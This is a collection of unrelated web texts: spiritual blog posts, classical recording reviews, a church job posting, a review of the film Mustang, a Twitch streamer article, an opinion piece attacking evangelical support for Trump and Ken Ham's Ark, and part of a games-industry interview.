I started to pray to God, ask for healing and forgiveness. I needed to make things right with them and find the sanity to set me free. I took some on Saturday to finish up an old book regarding healing. Quotes would jump out at me, phrases would bring shivers and I felt this weight release from me. I went inside to validate and reassure my healing. I did a yoga routine and slowly eased into savasana. I begin to meditate, I heard the answers, I felt the intentions for these two souls and I knew my purpose in my life. My eyes began to shed cold, comforting tears to signify the release of the past and sickness in my heart. I came back outside and wrote my girlfriend a heart-felt letter and reached out to her. It was a lot harder to open up and ask for forgiveness from her rather than my past boyfriend, I finally opened up to him on the monster I was and the monsters I endured. It brought us closer and connected us deeper.
There is a part of us in everyone, there is a sickness or strain in everyone's heart, no one wants to be evil or without love. Everyone is broken, everyone endures different type of pain, it is up to us to help break past those walls and find their shinning soul. You grow as person when you help someone you love grow, you heal as a person when you are apart of someones healing. Never give up on someone who would never give up on you, it is so much easier to quit and run away. Struggles provide strength, tears shed us of the elements which hold us back and love will always set you free.
The WHOStandard
The rule breakers wanting a challenge.
The wild in need of an adventure.
The explorers in search of an environment.
The wanderers approaching an escape.
The controlled in a mission to find an outlet.
The curious seeking a new experiment.
The lonely souls destined for a fresh start.
The lost trying to blend in and belong.
The fearless who followed their gut.
Who are you to judge these people? Who are you to question their interests or behaviors? Who are you to stereotype appearances and actions? Who are you to speak on their circumstance or situation?
Well, you're one of them, once were or developing to be. We are all so similar yet different, We are a community and we are all connected. The most beautiful thing about those listed above, is they follow their gut without a care in the world. They are so much themselves it intimidates those in their surrounding. We choose to judge them because we envy their carelessness in wanting to fit in and their lack in needing approval.
Why are they judged for taking a chance, thinking on their own and discovering something new. Who is to say self exploration and self experiments are for those who are crazy or lost? Who defines the guide lines and decides the wrong doings? Can you judge or speak on something with no trial or true word on the subject? Who decides for themselves?
Those who took a chance on an experience to risk yourself and judgements. You dip your toe in the dark water, step into unfamiliar grounds, follow your pleasures and dive into the unknown. There is something so refreshing of not knowing how something is going to work out or affect you. It is a scary but beautiful thing, giving your all to an experience which you have no control over… Isn't that what discovery and our journey is all about?
Going in blind, senseless, numb, broken, strong, weak or fearless eases the strain through new dimensions. You travel through the built up walls, break past your ego and taste temptation for all its worth. Being destroyed leads to re-creation. Being lost inside leads to a new lifeline, journey or world. We shed ourselves of the history, layer, images and build up. We strip down the stereotypes, ideals, opinions and criticism of others to be ourselves so outwardly and purely, to where no outside existence can break us or stop us from what we are desired to be.
" The Grand Canyon is the perfect example of beauty of erosion. Over thousand of years that amazing formation of rock devolved in to what it is today- a fabulous spectacle of nature's artwork. You too are a work of erosion. While we sometimes think of erosion as a bad thing because it is the wearing away of something, there is beauty in it too. And ultimately, if we evolve as a devolve, we become beautiful works of art as well.."
A fresh spark to amp our current state. Why label those you don't understand, that would make you ignorant. We are reinventing, recycling, renewing, revitalizing, recreating and rejuvenating our own world, on the inside, outside or where ever you belong.
We are in charge of our light, purpose, role, health and strength. We need to be the best form of ourselves, following our soul purpose and spirited path so others will radiate with us on the way. Building together with others, shaping ourselves, directing paths, sharing positivity and becoming a community. Find yourself to find the world, find the beauty in yourself to find the beauty in others, embrace your energy and the energy of others. Life is reactive and reflective. You construct your outer world with supportive humans. You command your inner being and control your mindset.
Be you. Be beautiful. Be vibrant. Be blessed.
Be the Love.
The sun kisses the treesStandard
I love my life too much to waste my energy and time "hating" someone or something so purely.
Life is too precious to devote such negativity. Living free, worrying less and opening environments. No one is an enemy, objects pass if not favored. Never an obstacle or battle.
Flow from a centered mind. Relaxed movements, guiding you to fate. Feelings of ease provides insight. Pushing through the body,actions from inside. Stimulating the mind to breeze on by. Never forcing anything that doesn't feel right, taking chances on what feels natural and most meaningful. Finding yourself by you're strengths and weaknesses.
Channeling in on what makes your best self and not by the judgements of others. Agree to disagree, never a closed statement. Bridges never burnt, relations always settled. Learning through memories, struggles and sorrows.
Everything is an experience, educated through actions and mistakes. Constructive criticism only, programmed to smile and be strong in every situation.
Always expanding the mind, body and soul. Mindfulness always present. Understanding yourself to understand others. Respect for yourself, humbled achievements, blessed from success and gratefulness of life's reward.
An appreciation of life, love only giving and souls consuming. Forever grasping the meanings of who we are and why we are here.
Friendly escapes to freedom.Standard
This is my inner release of my mind, body and soul.
A relief from this wild life and escape from the ego.
An explanation of my spirit and entry to the world.
I believe in the sparkle of one's spirit.
I believe everyone is so quirky and unique.
I believe I can love and experience everyone differently, yet special.
I believe there's a part of you in everyone and we help each other become our full potential.
I believe there's a special reaction to your energy, passion and others.
I believe you feel more intensely when you experience a person, place, smell, image or memory.. which makes you who you are.
I believe you remember certain memories so vividly because you truly felt alive and full of emotion.
I believe true passions are found in your childhood.
I believe we are shaped by early aspirations, joys, habits, hobbies and frequencies.
I believe we lose track of who we are when we let world define and judge us, to be lost is to be free and to dream is to fly.
I believe the most honest beings are elders, children and animals, with a simplistic reality of the world.
I believe there is a universal truth of peace, love and equality.
I believe love, discovery and reflection is our sent journey from a higher power.
I believe animals, nature, astrology and weather are all in tune and we the humans are responsible for admiration and appreciation
I believe in the beauty in a flowers bloom, leaves color changing, storm's ending rainbow, sparkling through trees and the sunsets transforming glow.
Enjoy the simple aspects of your life. Focus on the elements which create your happiness.
Be who you want to be without a care in the world.
Act out the art in your heart.
Inspire the world and share your light!
Home is where the heart is. Home is where the comfort in your heart resides. Home is the warmth which fills you with ease and provides a state of safety. The memories of intimate interactions, soft snuggles, long laughs and nestled-in-nights. We value these moments when we need them the most. When our heart aches for completion and our mind craves the sensual scenes.
Why is that we are only content with home life or the outside world when we are satisfied inside with loved ones? Why do we only glorify a season's weather for the upcoming Holiday? We anticipate an upcoming event with the assistance of expected weather.
This winter has been pretty harsh and almost bi-polar. One of the most warm days will bring a sleet storm the next. Our bodies and spirits have been suffering the costs of the sporadic temperatures. Exhausted from the cold conditions, tense from the cabin fever and emotionally drained from weather let downs. We base our days and moods off the surrounding forecasts. Something so simple as a snow fall or rain wash turns our inner storms.
Why is that we graciously endure the weather conditions and traveling lengths for the wholesome tradition. It's the sense of comfort, the feeling of belonging and the satisfaction of affection. Why do we continue to partake chilling outcomes and frosty days? Why does everyone in Iowa or from the colder regions proceed to settle in such weather?
"Happiness doesn't lie in conspicuous consumption and the relentless amassing of useless crap. Happiness lies in the person sitting beside you and your ability to talk to them. Happiness is clear-headed human interaction and empathy. Happiness is home. And home is not a house-home is a mythological conceit. It is a state of mind. A place of communion and unconditional love. It is where, when you cross its threshold, you finally feel at peace."
To be home is to be at peace with our inner state, to feel natural, tranquil and pure. Establishing home begins with our heart, values, comfort, pillars of morals and true being of ourself. Most of the time it takes a traumatic experience, vacation, absent soul or voyage to a new path to realize what "Home" actually is for us. Nothing outside of our inner world or existence should affect us as long as we are grounded to the meaning of "Home."
We focus our frustrations on the outside, pry inner our problems on the negative environment. When do we stop letting the weather determine our inside stillness? When will we take time to live out the currents and appreciate our surrounding season?
Every once in a while Winter would embrace us with a 40-50 degree day, allowing us a bittersweet glimpse of Spring. It is so uplifting to see people participating in natures given treat, making the most of their weather and moment of bearable weather.
With the transition of Winter to Spring, we cherish the maturing warmth and provide energy to the outside existence.
I have lived in Iowa all my life, I have been apart of every season and have experienced varied weather lengths. I find myself getting frustrated during the colder times, bundled up inside and suffering from cabin fever. I have recently taken this winter to do a lot of inner reflecting, inside myself and my home. Being upset with the outside activities will change nothing and being inactive with the temperature doesn't benefit me… just makes the winter woes win over me.
I no longer see the weather as an enemy, now just a new setting of my life.You become more appreciative towards your given day, more inviting to the rare bursts of warm embraces and more involved in natures dynamism. You learn to accept the current environment and adapt to Mother Earth's fallen essence. Every downfall, obstacle or trouble causes a new opportunity for growth and beginning of change.
I am blessed to say I live in a state with four seasons, every changed leaf is a way to renew yourself in nature's turnover. A fresh wind to flow outside your home and absorb in the magic of the season. I have been observing nature a lot more, the layers of sunsets colors, the activity between the breeze of the trees and the interaction with animals and insects.
We are all apart of the beautiful manifestation of life, the developers of natures environment and the observers of progressing seasons. As visitors and travelers of Earth, it is our role to take care of the plants and grounds that fill our horizons. It is our role to appreciate and show respect to the other living organisms and forms of creation. In order to vibrate with our external world, we must value our internal world and capture our rightful place. Once we are unified with this connection, our attachment to love and home carries with us where ever we may be.
Home is the serenity which we hold close to our heart. The sweet reminisces of childhood, the contentment of belonging and the ease of being loved. No matter where I travel, embark a new life or lay for night's rest, I shut my eyes to the wholesomeness of where my heart resides and those who fill my scenes of completion.
To be LoveStandard
What is it to Love? What does it take to Love or be in Love? Why is every heartache, melody, happiness, mystery or madness stem from Love? Why are we in such a search and struggle to find Love?
To Love someone is to love yourself, To Love a trait in another is to love the traits you have within, To Love in full and so purely, we love ourselves and others… flaws and all.
When we are born, we are born from the act of love. We are welcomed with eager eyes and warm hearts waiting to shower us in Love. Family members show love by protecting, nurturing, caring and providing for this new life. We are taught love from our surroundings, sharing, touching, communicating and contributing. How we love and how give love is grasped at a young age. We spend our whole lives circulating around the idea of Love, figuring it out and inquiring varied types.
Love is rooted from inner peace, inner joy and inner satisfaction.
Why not give back to the person you have to live with everyday, required to spend time with, the one who moves and motivates you…. YOURSELF.
Loving one self is to appreciate, listen and provide for the mind, body and spirit. Taking time to nourish the body with vitamins, moisture, water and essentials to feel replenished. Taking time to engage the mind, with yoga, meditation or a book to restore oneself. Taking time to surrender the spirit with a walk, bath, nap or detox to refresh your energy.
This past week for me has been so hectic, I haven't found enough time for myself or taken time to relax. I have been in constant movement, preparing for Spring break and the future. I lost track of the time I was in, not realizing who I was living for or who I was accomplishing these tasks for. I was pilling events in the free space of my day to make up for lost time. Going to more yoga classes, tanning back to back, eating a lot for missed meals and staying up later to catch up. Every experience was accompanying my obligations and misplaced moments.
My body caught up to me and responded by being burnt on the outside and drained on the inside. I took the first part of the week to take a bath, hydrate my body and calm my mind. I downloaded a meditation music app and actually took a peaceful nap. Meditation and Yoga became more sacred and serene.I channeled in on my center and focused on my body messages. I put my phone away, turned on some music and became wholesome again. Melodies flowed through me, choruses whispered through my ears and slowly fulfilled my inner silence.
Our time lessens when we in a rush to the future, our quality weakens to the detachment of the current moment. What is it to live for yourself and give back to yourself?
I learned a beautiful lesson this week of, learning to love and appreciate yourself. I listened to my body when It told me to slow down and rest. I gave back to this amazing mold by taking care of myself, calmed my machine by resting and revisiting silence. I re-energized my mind, body and spirit by participating in the present and savoring the time with myself.
Today's Valentines blog is dedicated to the Love within yourself and relationship you hold with your mind, body and spirit.


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Jaap van Zweden, the newly named Music Director of the New York Philharmonic, conducts the Netherlands Radio Philharmonic Orchestra in a dynamic and emotional performance of Benjamin Britten's War Requiem. There have been a number of quite fine new recordings of this massive work in the last few years, and some would say that the composer's own recording at the time of its premier is still the finest. I have high definition SACD recordings led by Helmuth Rilling and Gianandrea Noseda, both of which I enjoy. But there is something about this one by Van Zweden and choral conductor Reinbert de Leeuw that rises above others. Power? Emotion? I'm not sure, but whatever it is I really like it.
Britten: War Requiem
Netherlands Radio Philharmonic Orchestra
Netherlands Radio Choir
& Netherlands Children's Choir
Jaap van Zweden, conductor
Reinbert de Leeuw, choir conductor
DSD 64fs
Stereo, Multi
And speaking of new Chief Conductors, Kirill Petrenko is the upcoming main man at the Berlin Philharmonic. He leads the London Philharmonic with the excellent Dejan Lazic at the piano in a very fine Rachmaninov Piano Concerto no. 2. This recording is right up there with some of the very best.
– Piano Concerto no. 2 in C minor, op. 18
– Moments Musicaux, op. 16
Dejan Lazic, piano
London Philharmonic Orchestra
Kirill Petrenko, conductor
DSD 64fs
Stereo, Multi
Conductor, educator, and thoroughly Romantic American composer Howard Hanson (1896 – 1981) championed American composers with many fine recordings. He was head of the Eastman School of Music. And he wrote 7 symphonies and numerous other works. Some called him "The American Sibelius." Howard Hanson– An American Romantic is a collection of some of his lesser known works including The Concerto for Organ, Harp, and String Orchestra (1926), and the Nymphs and Satyr Ballet Suite (1979). I enjoy both, but especially the Organ Concerto. The Rochester Chamber orchestra under David Fetler, and soloists David Craighead and Eilene Malone are excellent.
Howard Hanson – An American Romantic
Meliora Quartet, Brian Preston, piano, Roberts Wesleyan College Chorale, Robert Shewan, conductor, Theodore Sipes, baritone (in Psalm 121), Barbara Harbach, organ
DSD 64fs, 128fs and 256fs
The Oregon Symphony under Carlos Kalmar will light up your system with Spirit of the American Range. I don't know who came up with the name for this album, but there are no cowboy songs or western movie themes. What is here is as fine a recording of Aaron Copland's Symphony No. 3 as you're likely to find. This is the symphony which includes Copland's "Fanfare for the Common Man". If you love Copland, take a listen to this one. Also included are Walter Piston's Suite from the Incredible Flutist, and George Antheil's A Jazz Symphony. Along with being famous for being "Music's bad boy" of the early 20th Century, Antheil was an inventor. Believe it or not, you would probably wouldn't be using a cell phone today except for "frequency hopping," invented by Antheil and actress Hedy Lamar. (Really! They were inducted into the National Inventors Hall of Fame in 2014!)
The Oregon Symphony
Carlos Kalmar, conductor
DSD 64fs
Stereo, Multi


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Assuming you consider your self to be a dedicated "seeker", or one in sincere pursuit of answers to the fundamental existential questions – have you ever examined your motivation for the same? What put you on this path? What drove you to seek deeper meaning and perhaps even enlightenment(however you define that)?
Why we do what we do is a critical factor that radically influences the outcomes of our actions. Simply changing the space that one operates from can result in significant shifts in the consequences.
The path to 'Source' (if I may call it that for brevity) can be likened to a maze. As we progress from the outer realms towards the deep, hidden center, we encounter unexpected demons along the way. These can be fundamentally disturbing. Invitations to face our own inner monsters, unravel our stories, deconstruct, question and often destroy the very foundations of our paradigms and institutions can be daunting for the bravest of hearts.
While we feel troubled in our health, career, relationship, etc…, we still persevere. We are in fact looking to mend the problem, without looking to heal the original wound(of separation from Source). Spiritual tools are used as the band aids. With initial benefits, there sets in a comfort. An unwillingness 'to rock the boat'. Things are going well enough, at least to an extent that you can cope with the status-quo with lesser pain than before. Why give up the pleasures of illusion for the sake of unrelenting truth? All the meditation, spiritual practices, clearing tools and so forth, are parked aside and become nothing more than points of lofty conversation. Living the path has ceased.
However, there will be those who reach a Point of No Return. Once you have seen through the illusions even briefly, had a taste of pure awareness or remembered the knowing of your true essence – you can no longer walk out of this maze. You have to keep going on. Regardless of the changes and disruptions it brings in your experience. However different it makes you from those around you. You know you have to go on. You cannot not know what you now know.
I would like to extend the maze analogy a little further, to paint a broad picture of how our initial motivations determine our Point of No Return.
Consider the Source to be at the center of this complex garden maze. There are four gates to this garden:
- Material & Physical – Those facing financial strain, bankruptcy, physical disease, or imminent death enter through this gate. They seek a deeper meaning to understand and address their suffering from the roots. Those who find their Point of No Return fairly early and persevere on, appear to rise above all suffering. For example, even if the physical body continues to bear pain or eventually dies, it becomes clear that their soul is at peace. Then there will be some who will recover, turn back, and quickly relapse into their old ways again. These may find their patterns return, sometimes aggravated. Because life turns up the volume until we pay attention. So they go in and out of the maze at prolonged intervals and wonder why they face the same situations again and again. Their attachment to the physical body and material possessions remains intact.
- Emotional – Given the ever changing sea of emotions that we encounter in our human form, this is one of the most well trodden paths. But the Point of No Return is fairly far down this route. Temporary relief being noticeable early along the way, few people want to keep on. Questioning your own identity, moving out of old relationships and careers, and seeing the extent of the web of illusion we have trapped our self into is a fresh invitation for pain. Just when the wounded child begins to feel a little loved and capable of loving, why would it choose to face these new storms? So this path keeps most of us admiring its early benefits, with few daring to cross a Point of No Return.
- Intellectual – Another very popular gate, this one is famous for its high foot falls. Who doesn't enjoy a deep philosophical debate over the meaning of life? Information and theory has never been as widely and as easily accessible as in current times. We all can hold forth on ancient texts, modern masters, Sufi poetry and so on. A wonderful place to meet like minded people and have lengthy discussion. The Point of No Return is not really important here. They enjoy walking in and meandering around the by-lanes in the happy discovery of the path. Here, the path is indeed the destination.
- Spiritual – This is the least used gate. A rare few are just born with this unquenchable thirst for reconnection to Source. Some may have explored a bit of the maze by entering through the other gates and back out. They may have to come to realize that this is the most direct path. So they re-enter from this gate – with no other agenda. They have little interest in the material world, know they are far more than a physical body and understand that this is all a game. They are done with the word play. They are willing to transcend not only pain, but also pleasure. Those entering this gate will not turn back. Their Point of No Return is the entry itself.
Knowing what set you on the path will help you understand your dissatisfaction with your progress.
- Which gate was your point of entry?
- How does this influence the journey for you personally?
- Have you the inclination and courage to go beyond the Point of No Return?
How can you gauge where you are located?
Here are some questions that GD came up with in this context:
- Thirst – How eager are you for the truth? Do not gauge your aspiration, but examine how much of your life is lived in accordance with your path.
- Openness to Learning – Are you willing to learn from any one and everything? Or do you have preferences and limitations there?
- Clearing – Inquiry, questioning your own points of view and energetic clearings are required to clear our brain fog and habitual filters. How much consistency and dedication do you demonstrate there?
Rate the above on a subjective scale of 1 – 10 for yourself.
The reasons for your 'stuckness' or air of exhaustion will become apparent. When you find you can honestly mark yourself at the higher end of the scale for all three – you can be assured that you have crossed your Point of No Return.
Now its a matter of perseverance and grace.
Image Credit: Credit: YANN ARTHUS BERTRAND


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now accepting applications
Co-Directors of Faith Formation
Lord of Love is accepting applications for two part-time positions for Co-Directors of Faith Formation.
– emphasis on Christian Education (Newborn-6th grade) – position has been filled.
– emphasis on Youth Ministry (Middle and High School)
These positions have some crossover responsibilities requiring working together on Faith Formation across the generations.
Most scheduled activities occur on Wednesday nights and Sundays.
Each position has a time commitment expectation of 40 hours/ month (about 10 hours/week)
Church Nursery Attendant
Lord of Love is accepting applications for a part-time positions as Nursery Attendant.
We are looking for someone to staff our church's nursery on Sunday mornings who loves Jesus and little children.
This position is for Sunday mornings from 7:45am-11:45am during the school year.
If you would like to apply with a friend to share the position and tag-team the Sundays, we would like to do a joint interview.
Compensation for this position is $12 per hour.
Position Job Descriptions:
Co-Director of Faith Formation – Christian Education – position has been filled.
Co-Director of Faith Formation – Youth Ministry
Nursery Attendant
Position Application Form
Drop the application off in person, email to Pastor Becky Sells, or mail to:
Lord of Love Lutheran Church 10405 Fort St., Omaha, NE 68134
Have Questions and Need More Information?
Contact the church office at 402-493-2946 or Pastor Becky Sells – email@example.com


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It must have been a close call - Mustang lost out to Son of Saul for the Best Foreign Language gong at this year's Oscars – but this stirring Turkish drama is equally as powerful.
ale (Sensoy), Nur (Dogsulu), Selma (Tugba Sungoruglu), Ece (Iscan), and Sonay (Ilyada Akdogan) are five Muslim girls living with their strict grandmother (Nihal G. Koldas) and their uncle Erol (Pekcan). Their beautiful home, perched on top of a hill, is in effect a prison with Erol going as far as putting bars on the windows but the girls remain free spirits, causing their family all sorts of grief by flirting with the local boys who come to the their window at night.
hen the girls sneak out one day to attend a football match (rioting at the previous game led to a one-game ban for men), their grandmother speeds up the process of arranged marriages lest disgrace ruin the family. But ten-year-old Lale, knowing what fate lies in store for her, goes about putting her secret plan to run away to Istanbul into motion…
oman as commodity, as property: the girls here are raised to do no more than cook, clean, sew and be subservient to first their family elders and then their husbands. A "wife factory" is how one of the girls describes their home and getting married is just swapping one prison for another. The girls are subjected to invasive, humiliating episodes: after some innocent fun frolicking in the sea with the local boys, the girls are taken into town to a clinic to investigate if their virginity is intact; later when Selma doesn't bleed the night of her wedding, she is taken to a doctor to inspect her hymen. Woman as commodity, as property.
ut the girls rebel against this (the title referring to girls long, unkempt hair) in ways they can. Sonay sneaks out at night with her boyfriend, ripping a baggy brown dress she's forced to wear to reveal her thigh; the sisters harangue an old woman who spread rumours of them 'pleasuring' themselves; and, in a daring act of defiance, Ece has casual sex with a random boy in her uncle's car while he's in the bank. Lale, the youngest but most insubordinate and through whose eyes the story is told, sets about learning how to drive thanks to the sympathetic delivery man Yasin (Burak Yigit).
he Turkey-born French writer-director Denise Gamze Erguven wonderfully evokes those boring, hot days of the summer break, the monotony here ramped up with the girls stuck inside the house (when one suggests they'll be skinned alive for going to the game, another says, "At least something will happen.") but yet Mustang is never dull. Erguven too taps into that woozy Virgin Suicides vibe by shooting the girls as almost one being; at one point, as they roll about their beds, their limbs seem entwined in each other. Her greatest coup though is despite the daily horror in which these girls are forced to live their lives (Erol rapes the older girls at night), Erguven ensures that Mustang remains a pleasurable watch throughout.
- Home >
- Cinema >
- Movie Reviews >
- Mustang
- Director Deniz Gamze Erguven
- Actors Doga Zeynep Doguslu, Gunes Sensoy, Tugba Sunguroglu
- Genre Drama
- Running Time Turkey mins
- Release Date Friday 13th May 2016
It must have been a close call - Mustang lost out to Son of Saul for the Best Foreign Language gong at this year's Oscars – but this stirring Turkish drama is equally as powerful.


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Twitch is becoming notorious for female streamers flaunting their assets to gain more viewers and donations but not everyone admits to doing it. Today we have come across an exceptional one who isn't shy of doing it.
Meet Zoie Burgher, a now permanently banned Twitch streamer who wasn't shy of shaking her booty for fans while she streamed Call of Duty. Zoie was also amused that Twitch banned her for shaking her assets while many other go away with doing far worse.
Zoie was also frank and honest about her celebrating her beauty and sexuality to attract viewers unlike the thousand other Twitch streamers doing the same but feigning innocence and ignorance when confronted.
Too bad for Zoie, Twitch didn't take too kindly to her booty shaking escapades while streaming and decided to ban her account. She's still carrying out some more of the shaking on her Youtube and Twitter accounts though.
Check out some of Zoie's best moments on the next page
Although she's now banned on Twitch, she's still very much active on Twitter and posts regularly on her Youtube account. The video below will give you a good example about the kind of content she posts there –
Stay strong Zoie and keep doing whatever floats your boat. It's not everyday that we come across someone who is honest and open about their intentions.


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Why did 81 percent of white evangelicals believe Trump's lies? Why do they still persist in supporting this failing and flailing "president"? Why do they prefer fake news to facts? The answer can be found by juxtaposing 2 stories: Saen Hannity's fake conspiracy theories about Seth Rich and the fact that Ken Ham built an ark, a Noah-sized ark he wants us to believe actually once existed.
If we can learn anything from these two related events — religious delusion on a literally monumental scale and conspiracy theories coursing through the alt-reality media — it's this: fake news dies hard because a huge swath of the American public is quite literally mentally ill. Their mental illness is called evangelical Christianity. And these people made Trump president. Thus what they believe matters because their willful ignorance holds the rest of us hostage.
Evangelical faith in fantasy alt-facts prepares believers to believe anything at all, as long as it contradicts mainstream accepted facts. Trump's rise is a case in point. So is Ken Ham's ark, and so is the fact that Sean Hannity has an audience even after his proven lies about the unsolved murder of a Democratic National Committee staff member named Seth Rich.
As reported in the New York Times, "In case you haven't been following it, the Seth Rich conspiracy holds that before his death (or, in this version of events, assassination) in July Mr. Rich had been involved in the leaking of Clinton campaign emails to WikiLeaks, which the United States intelligence community has attributed to Russian-sponsored hackers."
Fox News watchers (a mostly white evangelical older Trump-loving crowd) were ready to believe this latest lie. Why? Because their brains have already been broken by their alt-religion.
There is a vast industry dedicated to breaking each successive generation of true believer's brains. Take just one such group Answers in Genesis. They specialize in teaching children to disbelieve science, math and geology in favor of religious fanaticism. In other words they run a vast evangelical radical Islamic-style Christian madrassa.
As reported by the Washington Post
The founder of Answers in Genesis, an online and publishing ministry with a strict creationist interpretation of the Bible, employed 700 workers to erect the $120 million Ark Encounter, which is five stories high and a football field and a half in length, and packs a powerful whoa punch. He had the massive boat designed by a veteran of amusement park attractions, commissioned an original soundtrack to enhance the experience, and stocked the interior with an animatronic (and freakishly real) talking Noah, along with lifelike models of Earth's manifold creatures. Including dinosaurs….
The ark opened last summer and is on target, Ham says, to attract more than a million visitors in the first year.
But Ham did not rest.
The 65-year-old Australian and his partners, Mike Zovath and Mark Looy, have launched an ambitious 10-to-12-year plan to re-create a walled city from the time of Noah and a 1st-century village from the time of Jesus.
Also, a Tower of Babel, concept snack shacks, a 3,200-seat amphitheater and a 10-plagues-of-Egypt thrill ride. Frogs! Fiery hail! Locusts!…
"How do you reach the general public in a bigger way?" Ham muses rhetorically, sitting in his expansive corner office at the Creation Museum, his first, more sober foray into the family entertainment business, which celebrates its 10th anniversary on Memorial Day. "Why not attractions that people will come to the way they go to Disney or Universal or the Smithsonian?"
Ham and the evangelicals are creationists into a conspiracy theory that holds that science is a hoax foisted by liberal atheists on the world. They have many apologists like Ham — and like my late father Francis Schaeffer who was one such creationist too.
I grew up in this anti-science fearful world. I once even spoke at Jerry Falwell Sr's., church. Then in the 1980s I fled the madness of the evangelical world as I describe in my book Crazy for God: How I Grew Up as One of the Elect, Helped Found the Religious Right, and Lived to Take All (or Almost All) of It Back.
Today at Jerry Falwell's Liberty "University" they still teach that the Earth is only 6,000 to 10,000 years old. In fact it's 4.5 billion years or so older. But never mind that. An entire evangelical industry is built around defending the lies set forth in the Bible as related to actual facts.
You can see the partisan appeal to evangelicals.
If you don't want to believe:
- in science or that global warming is man-made;
- that gays are born that way;
- that women are equal to men;
- the American intelligence assessments that the Russians were behind a national security attack on our electoral process;
- the news about the investigations into the Trump campaign's ties to Russia;
- the fact that gays are born "that way"…
…well then, there's an alternative to reality to grab onto. There's a literal Noah's Ark waiting for you and Fox News is waiting to stroke you and to tell you that all the world's learning and experience is a lie. Evangelical magazines and pastors are ready to help you believe that only your Bible is true and everything else is fake news.
Ham, for instance, says that dinosaurs roamed the planet alongside humans and that the biblical flood created the Grand Canyon. (No kidding.) One of his books is "The Lie: Evolution." He argues that Noah labored seven decades to construct his vessel and was 600 years old when the storm surged. And the same white evangelicals that say Trump is doing a good job also believe that Ham is a scientist.
Ham admits that his views aren't commonly shared by sane people. "Obviously, we're in a minority," he says. But "just because a majority believes in something doesn't mean it's right." The same "thinking applies to the religious right that put Trump in power. For instance just because the majority of Americans know Trump is a lying confused con man, doesn't mean that this "liberal" "snowflake" is right. If you have a biblical (and/or Fox News perspective) Trump is a god-sent genius… no matter what the facts are.
Facebook and Google have worked up new computer formulas and dispatched dedicated teams to push the most corrosive alt-right lies off their platforms. But as the Seth Rich story shows and as the popularity of Ham's Ark proves– we're going to need a bigger algorithm to rid ourselves of the evangelical white Trump voters' addiction to alternative reality and lies.
Like water, Fox News conspiracy theories and creationism find their own level.
No matter what the legitimate media does to stop uncorroborated conspiracies and false information, they will continue to live on as long as there are white evangelicals like Ham eager to spread lies about the Earth, about human rights and about politics. All the algorithms in the world can't stop religious delusion. Just as any Saudi woman.
Speaking of wilful idiocy, as a condition of employment, the ark staff of 900, including 350 seasonal workers, must sign a statement of faith rejecting evolution and declaring that they regularly attend church and view homosexuality as a sin. So any non-fundamentalist evangelicals, let alone believers in evolution, or members of the LGBT community — and their supporters — need not apply.
The next generation of evangelicals are being groomed to join the fact-fearing Fox News fact-free throng. The goal is for the ark to become "something on people's checklist when they're traveling, like seeing the biggest ball of twine," says Zovath, who supervised the encounter's construction. "That gives us an opportunity for people who might never go to church to see something that is mind-blowing and get some information that could change their lives for the better and point them in the direction for a secure eternity,"… and maybe vote for Trump… again?
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6 comments. Leave new
The "Ark Park" is a spectacular failure with the citizens of Kentucky and Grant County, Williamstown, KY holding the bag and the bonds for this boondoggle. Maybe they can turn it into a Trump golf course with help from the Russians. https://www.youtube.com/watch?v=VuF4vppNk9k
It's hard to believe Mr. Ham that his fantasy exhibit is "on track for our goal of 1,000,000 visitors this year." I've seen video of empty kiosks, no lines at admission and deserted restaurants. Since I have to believe that Mr. Ham is either lying or willfully ignorant about the statements he makes regarding the sciences of biology, geology and physics, I have to assume that he's lying here, too.
I know his "Answers in Genesis" museum is not doing well. Perhaps this whole theme-park built on a fantasy will simply go away. Anyone who cares about reality or science surely hopes so.
Reassuring to see there are folks out there who still pursue reason, facts, logic and consensual evidence. I applaud your efforts.
The only thing you didn't point out clearly is WHY this alt-fact stuff is happening…. it happens because when you have an entire population wallowing in defective knowledge and pathological delusional states, they are easier to control; easier to lead down whatever path those in power in these vaporous belief-states want. And those in power very much want a sheep-like constituency to lead, so it is highly unlikely to change from the top.
When people have no grounding in science or fact, they can be told anything with enough emphasis on their pre-existing biases, and it will seem true. And then delusion after delusion is built upon that foundation of deranged misinformation.
THAT is the terrifying structuring in each afflicted person's mind that must be torn down and discarded before reason and logic can hope to make the slightest inroads. And it is highly unlikely to occur without some massive informational shift that causes people to WANT to uproot all that they have grown comfortably numb with.
Careful, Frank. Not all white evangelicals are as you imply in a negative light. "A soft answer turns away wrath" says the Bible, which is supported by recent research on persuasion (compassion being the key component to success). Seems we all need reminders to avoid polarizing language. It only adds fuel to the fire.
I understand clearly your frustration with evangelical Christianity but I read your writings here and all I see is angry frustration with lists of examples to justify it. If these people and ideas are not the answer to our ultimate needs and purposes as human beings what do you propose is? Maybe it is already written in some of your books but I have not read any. You paint such a terrible world now; what do you offer for a rational realistic alternative.
Science is great but offers us no alternatives to your frustration that I can see. (I just finished watching the first part of a series you helped make- "Whatever Happened to the Human Race". I thought it was well done but realize you might rather forget that part of your life. If you were to redo it what would you do to answer the problems your father was raising?
you might want to read my books so I don't have to re-write them here! 🙂 "Patience With God" might interest you, best, F


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"Pure play" not working anymore, says Defiance dev
Trion Worlds' new hire Nathan Richardsson talks about SyFy collaboration and creators needing to worry about more than just the game
While at CCP, Nathan Richardsson worked to integrate two separate MMOs in the same universe with the RPG Eve Online and the shooter Dust 514. For his next trick, the developer is taking the integration theme up a notch, as today Trion Worlds announced that Richardsson would be joining the company to oversee development of Defiance, the studio's new MMO shooter being created in tandem with the SyFy TV series of the same name.
As Trion's vice president of development and executive producer on Defiance, Richardsson will be responsible for managing the working relationship between the game's development team and SyFy. He will be reporting to Nick Beliaeff, senior vice president of development.
Defiance is set to launch on the SyFy Channel, PC, Xbox 360, and PlayStation 3 in April of 2013. GamesIndustry International this week interviewed Richardsson to discuss progress toward that multiplatform release date, the difficulties of cross-media collaboration, and the future of MMOs.
Q: How has your previous experience prepared you for Defiance?
Nathan Richardsson:I think I'm fortunate enough to have been with great people doing online worlds and before that, product development in another service industry. I think a lot of that experience is applicable to what we're trying to achieve with Defiance. I would though also say that the most important thing I learnt is that the most important thing to survival is the ability to adapt, be able to respond fast to change.
"In the end it's just like any relationship... sometimes, someone has to give and someone has to receive."
Nathan Richardsson, on working with SyFy
You can throw a lot of buzzwords around, lean development, agile, rapid prototyping, kanban, evolution (sorry for the aging buzzwords) but when you look at it, a lot of what we did at CCP and what happened in the telecommunication industry, it was all about responding to change. Be that your customer or your environment--or simply yourself.
In this picture, you shouldn't forget things such as predictions, data driven decision making and old school gut feeling but that's worthless if you can't respond to what you see fast enough. That bus will still hit you even if you see it coming.
